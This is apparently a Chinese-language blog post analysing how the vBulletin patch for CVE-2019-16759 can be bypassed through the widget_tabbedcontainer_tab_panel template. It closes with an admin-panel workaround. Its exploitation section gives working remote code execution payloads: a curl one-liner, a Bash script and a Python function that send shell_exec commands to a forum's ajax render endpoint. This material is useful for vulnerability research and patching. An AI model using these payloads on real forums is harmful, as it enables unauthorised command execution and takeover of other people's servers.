vBulletin漏洞利用:补丁失效的技术分析

本文详细分析了CVE-2019-16759漏洞在vBulletin中的利用方式,揭示了官方补丁的不足,提供了绕过补丁的具体方法,并给出了多种语言的漏洞利用代码,包括Bash、Python和Metasploit模块的实现。

漏洞背景

2019年9月23日,一名未公开的研究人员发布了一个影响vBulletin 5.0至5.4版本的PHP远程代码执行漏洞。该漏洞(CVE-2019-16759)被一家知名漏洞经纪商标记为"bugdoor",CVSS 3.x评分为9.8,属于严重级别。

补丁分析

首次补丁(vBulletin 5.5.4 Patch Level 2)

vBulletin在2019年9月25日发布了首个补丁,主要添加了cleanRegistered函数:

1
2
3
4
5
6
7
8
9
private function cleanRegistered()
{   
    $disallowedNames = array('widgetConfig');
    foreach($disallowedNames AS $name)
    {   
        unset($this->registered[$name]);
        unset(self::$globalRegistered[$name]);
    }
}

该函数遍历不允许的注册变量列表,在发现时删除其内容。初始列表仅包含一个变量名,即已发布漏洞利用中包含PHP执行代码的变量。

二次补丁(vBulletin 5.5.5)

在下一个版本中,vBulletin添加了更多防护措施:

  1. 路由检查
1
2
3
4
5
6
7
8
$templateName = $routeInfo[2];
if ($templateName == 'widget_php')
{
    $result = array(
        'template' => '',
        'css_links' => array(),
    );
}
  1. 模板运行时检查
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
public static function evalPhp($code)
{
    if (self::currentTemplate() != 'widget_php')
    {
        return '';
    }
    ob_start();
    eval($code);
    $output = ob_get_contents();
    ob_end_clean();
    return $output;
}

漏洞绕过技术

模板系统架构问题

vBulletin模板系统采用特殊语言编写,首先由模板引擎处理,然后输出PHP代码字符串,在"渲染"过程中通过eval()执行。模板可以嵌套在其他模板中,一个模板可以包含多个子模板。

关键绕过模板

widget_tabbedcontainer_tab_panel模板具有两个关键特性:

  • 能够加载用户控制的子模板
  • 将单独命名的值加载到名为widgetConfig的变量中
1
2
3
4
5
6
7
8
<template name="widget_tabbedcontainer_tab_panel">
    <vb:each from="subWidgets" value="subWidget">
        {vb:template {vb:raw subWidget.template}, 
            widgetConfig={vb:raw subWidget.config}, 
            widgetinstanceid={vb:raw subWidget.widgetinstanceid}
        }
    </vb:each>
</template>

漏洞利用

单行命令利用

1
curl -s http://EXAMPLE.COM/ajax/render/widget_tabbedcontainer_tab_panel -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=phpinfo();'

Bash利用脚本

1
2
3
#!/bin/bash
CMD=`echo $2|perl -MURI::Escape -ne 'chomp;print uri_escape($_),"\n"'`
curl -s $1/ajax/render/widget_tabbedcontainer_tab_panel -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo%20shell_exec("'+$CMD+'");exit;'

Python利用脚本

1
2
3
4
5
6
7
8
9
#!/usr/bin/env python3
import requests

def run_exploit(vb_loc, shell_cmd):
    post_data = {'subWidgets[0][template]' : 'widget_php',
                'subWidgets[0][config][code]' : "echo shell_exec('%s'); exit;" % shell_cmd
                }
    r = requests.post('%s/ajax/render/widget_tabbedcontainer_tab_panel' % vb_loc, post_data)
    return r.text

临时修复方案

  1. 进入vBulletin管理员控制面板
  2. 点击左侧菜单中的"Settings",然后选择"Options"
  3. 选择"General Settings",点击"Edit Settings"
  4. 找到"Disable PHP, Static HTML, and Ad Module rendering",设置为"Yes"
  5. 点击"Save"

此修复将禁用论坛中的PHP小部件,可能会破坏某些功能,但可以在vBulletin发布补丁前保护系统安全。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计